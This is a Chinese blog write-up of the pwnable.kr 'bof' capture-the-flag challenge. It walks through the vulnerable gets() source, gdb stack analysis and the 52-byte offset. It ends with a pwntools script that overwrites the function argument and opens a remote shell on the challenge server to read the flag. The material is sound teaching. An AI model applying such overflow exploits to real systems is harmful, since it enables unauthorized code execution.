Pwnable-Bof writeup

个人比较菜 就想分享下自己的思路和过程 如果有问题欢迎大家批评指点

题目网站:http://pwnable.kr

题目

Bof 32位经典缓冲区溢出题目

解题过程

因为题目提供了源码所以先看看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
  • 可以看到关键点gets函数这里 可能会引起缓冲区溢出

接着丢bof到gdb 查看下汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ disass main
Dump of assembler code for function main:
0x0000068a <+0>: push ebp
0x0000068b <+1>: mov ebp,esp
0x0000068d <+3>: and esp,0xfffffff0
0x00000690 <+6>: sub esp,0x10
0x00000693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>: call 0x62c <func>
0x0000069f <+21>: mov eax,0x0
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
End of assembler dump.

当0xdeadbeef作为参数传递时,它会在调用func之前添加到堆栈中 然后在这里下断查看下它在哪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
gdb-peda$ b *main+16
Breakpoint 1 at 0x69a
gdb-peda$ r
Starting program: /home/ios/bof
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb9dbc --> 0xffffd13c --> 0xffffd31a ("XDG_VTNR=7")
EBX: 0x0
ECX: 0x5bca2c32
EDX: 0xffffd0c4 --> 0x0
ESI: 0xf7fb8000 --> 0x1afdb0
EDI: 0xf7fb8000 --> 0x1afdb0
EBP: 0xffffd098 --> 0x0
ESP: 0xffffd080 --> 0xdeadbeef
EIP: 0x5655569a (<main+16>: call 0x5655562c <func>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655568d <main+3>: and esp,0xfffffff0
0x56555690 <main+6>: sub esp,0x10
0x56555693 <main+9>: mov DWORD PTR [esp],0xdeadbeef
=> 0x5655569a <main+16>: call 0x5655562c <func>
0x5655569f <main+21>: mov eax,0x0
0x565556a4 <main+26>: leave
0x565556a5 <main+27>: ret
0x565556a6: nop
Guessed arguments:
arg[0]: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xffffd080 --> 0xdeadbeef
0004| 0xffffd084 ("PRUV\271VUV")
0008| 0xffffd088 --> 0x565556b9 (<__libc_csu_init+9>: add ebx,0x193b)
0012| 0xffffd08c --> 0x0
0016| 0xffffd090 --> 0xf7fb8000 --> 0x1afdb0
0020| 0xffffd094 --> 0xf7fb8000 --> 0x1afdb0
0024| 0xffffd098 --> 0x0
0028| 0xffffd09c --> 0xf7e20637 (<__libc_start_main+247>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x5655569a in main ()

可以看到,传入func之前他在ESP: 0xffffd080 –> 0xdeadbeef
然后汇编看下func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gdb-peda$ disass func
Dump of assembler code for function func:
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c
0x56555644 <+24>: call 0xf7e67140 <puts>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0xf7e66890 <gets>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b
0x56555664 <+56>: call 0xf7e42940 <system>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3
0x56555672 <+70>: call 0xf7e67140 <puts>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0xf7efd790 <__stack_chk_fail>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
End of assembler dump.

在 0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 处 下断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
gdb-peda$ n
overflow me :
AAAAAAAAAA
[----------------------------------registers-----------------------------------]
EAX: 0xffffd04c ("AAAAAAAAAA")
EBX: 0x0
ECX: 0xf7fb85a0 --> 0xfbad2288
EDX: 0xf7fb987c --> 0x0
ESI: 0xf7fb8000 --> 0x1afdb0
EDI: 0xf7fb8000 --> 0x1afdb0
EBP: 0xffffd078 --> 0xffffd098 --> 0x0
ESP: 0xffffd030 --> 0xffffd04c ("AAAAAAAAAA")
EIP: 0x56555654 (<func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555649 <func+29>: lea eax,[ebp-0x2c]
0x5655564c <func+32>: mov DWORD PTR [esp],eax
0x5655564f <func+35>: call 0xf7e66890 <gets>
=> 0x56555654 <func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <func+47>: jne 0x5655566b <func+63>
0x5655565d <func+49>: mov DWORD PTR [esp],0x5655579b
0x56555664 <func+56>: call 0xf7e42940 <system>
0x56555669 <func+61>: jmp 0x56555677 <func+75>
[------------------------------------stack-------------------------------------]
0000| 0xffffd030 --> 0xffffd04c ("AAAAAAAAAA")
0004| 0xffffd034 --> 0xffffd0d4 --> 0xd28e2a50
0008| 0xffffd038 --> 0xf7fb8000 --> 0x1afdb0
0012| 0xffffd03c --> 0xd267
0016| 0xffffd040 --> 0xffffffff
0020| 0xffffd044 --> 0x2f ('/')
0024| 0xffffd048 --> 0xf7e14dc8 --> 0x2b76 ('v+')
0028| 0xffffd04c ("AAAAAAAAAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x56555654 in func ()
`

AAAAAAAAAA 的指针位于堆栈的顶部,它指向地址ESP: 0xffffd030 –> 0xffffd04c (“AAAAAAAAAA”)

所以可以计算偏移量
gdb-peda$ p/d 0xffffd080 - 0xffffd04c
$1 = 52

有了偏移量 就可以写payload了

1
2
3
4
5
6
from pwn import *
#p = process('./bof')
p = remote('pwnable.kr',9000)
payload = 'A'*52 + '\xbe\xba\xfe\xca'
p.send(payload)
p.interactive()

运行结果…

1
2
3
4
5
6
7
8
9
10
11
12
ios@ubuntu:~$ python bof.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
log2
super.pl
$ cat flag
daddy, I just pwned a buFFer :)

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 题目网站:http://pwnable.kr
  • 题目
  • 解题过程
  • ,